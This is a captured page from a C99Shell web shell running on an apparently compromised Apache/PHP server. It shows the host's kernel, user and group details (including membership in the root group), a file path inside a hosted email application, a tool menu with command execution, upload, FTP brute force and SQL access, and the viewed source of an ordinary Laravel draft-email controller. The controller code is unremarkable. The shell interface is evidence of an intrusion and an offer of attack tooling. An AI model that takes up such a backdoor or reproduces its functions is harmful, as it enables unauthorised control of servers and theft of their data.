!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DraftController.php (2.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\Contact;
use 
App\Models\ContactGroup;
use 
App\Models\Draft;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;

class 
DraftController extends Controller
{
    public function 
index()
    {
        
$data['drafts']=auth('customer')->user()->drafts;
        return 
view('customer.emailbox.draft',$data);
    }

    public function 
store(Request $request)
    {

        
$from $request->from;
        
$to $request->to;
        
$allToEmail = [];
        
$allGroupIds = [];
        
$allContactIds = [];
        foreach (
$request->to as $item) {
            
$number = (array)json_decode($item);
            if (isset(
$number['type']) && isset($number['id'])) {
                if (
$number['type'] == 'contact') {
                    
$allContactIds[] = $number['id'];
                } elseif (
$number['type'] == 'group') {
                    
$allGroupIds[] = $number['id'];
                }
            } else {
                
$allToEmail[] = $item;
            }
        }

        
$contactEmails Contact::select('id''email')->whereIn('id'$allContactIds)->get();
        
$groupEmails ContactGroup::with('contact')->whereIn('group_id'$allGroupIds)->get();

        foreach (
$contactEmails as $cn) {
            
$allToEmail[] = trim($cn->email);
        }
        foreach (
$groupEmails as $gn) {
            
$allToEmail[] = trim($gn->contact->email);
        }

        
$allToEmail array_unique($allToEmail);

        
$scheduleCheck $request->checked;
        
$schedule $request->schedule;
        
$draft_id $request->draft_id;
        
$request['emails'] = json_encode([
            
'from' => $from,
            
'to' => $allToEmail
        
]);

        if (
$scheduleCheck == 'true') {
            
$request['schedule_datetime'] =Carbon::createFromTimeString($schedule);
        }

        if (
$draft_id) {
            
$preDraft=Draft::find($draft_id);
            if(!
$preDraft)
                return 
response()->json(['status'=>'fail','message'=>'Draft not found']);
            
$validData=$request->only(['schedule_datetime','emails','body','from_name','reply_to','subject']);
            
auth('customer')->user()->drafts()->where('id'$draft_id)->update($validData);
            
$draft $preDraft;
        } else {
            
$draft auth('customer')->user()->drafts()->create($request->all());

        }

        return 
response()->json(['status' => 'success''message' => 'Message successfully drafted''data' => ['id' => $draft->id]]);

    }

    public function 
delete(Request $request){
        
$draft auth('customer')->user()->drafts()->where('id'$request->id)->first();
        if(!
$draft)
            return 
redirect()->back()->with('fail','Draft not found');

        
auth('customer')->user()->drafts()->where('id'$request->id)->delete();
        return 
redirect()->back()->with('success','Draft successfully removed');

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0223 ]--